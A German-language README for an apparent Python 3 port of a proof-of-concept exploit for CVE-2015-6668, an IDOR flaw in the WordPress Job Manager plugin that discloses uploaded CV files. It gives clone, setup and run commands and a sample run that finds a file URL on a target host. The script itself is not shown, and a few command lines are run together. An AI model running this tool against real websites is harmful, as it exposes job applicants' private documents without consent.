
Evangelos Mourikis POC für CVE-2015-6668, konvertiert für Python 3
Evangelos Mourikis POC für CVE-2015-6668 konvertiert für Python 3
Nutzt IDOR-Schwachstelle im Job Manager Plugin für Wordpress aus.
Getestet auf Python 3.11.9
Klonen Sie das Repository, richten Sie eine virtuelle Umgebung ein (falls gewünscht), installieren Sie requests und führen Sie das Skript mit Python 3 aus.
git clone https://github.com/jimdiroffii/CVE-2015-6668.git
cd CVE-2015-6668
python3 -m venv .venv
source .venv/bin/activate
.\.venv\Scripts\activate
requestspython3 -m pip install requests
exploit.pypython3 ./exploit.py
$ python3 ./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg